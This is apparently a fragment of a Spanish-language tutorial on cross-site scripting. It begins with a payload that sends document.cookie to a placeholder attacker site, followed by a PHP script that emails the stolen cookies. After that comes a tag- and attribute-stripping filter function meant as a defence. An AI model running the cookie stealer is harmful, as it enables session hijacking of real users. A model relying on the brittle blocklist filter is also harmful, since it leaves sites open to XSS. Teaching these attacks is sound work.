http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>

<?php
     $cookie = $_GET["cookie"];
     mail("admin@gensale.net", "Cookie stealer report", $cookie);
?>

<?php
function xss($val) {
$patron = '[ ]+';
$val= ereg_replace($patron,' ', $val);

$patron = '[ ]*>';
$val= ereg_replace($patron,'>', $val);

$a=array('xml','script', 'applet','embed','iframe','frame', 'frameset','ilayer');
$tot=count($a)-1;
for($i=0;$i<=$tot;$i++){
$tag='<'.$a[$i];
if(strpos($val,$tag)!==false){
$patron = $tag.'(.*)>(.*)<\/'.$a[$i].'[ ]*>';
$val= eregi_replace($patron,'', $val);
}
}

$a=array('link','meta','base');
$tot=count($a)-1;
for($i=0;$i<=$tot;$i++){
if(strpos($val,'<'.$a[$i])!==false){
$val= str_ireplace('<'.$a[$i],'<x',$val);
}
}

$a=array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','http-equiv','content','charset');
$tot=count($a)-1;
for($i=0;$i<=$tot;$i++){
if(strpos($val,$a[$i].'=')!==false){
$val= str_ireplace($a[$i].'=','',$val);
}
}
return $val;
}

?>

<?php
include('xss.php');
$nom  = $_POST['txt_nom'];
$nom = xss($nom);
echo $nom;
?>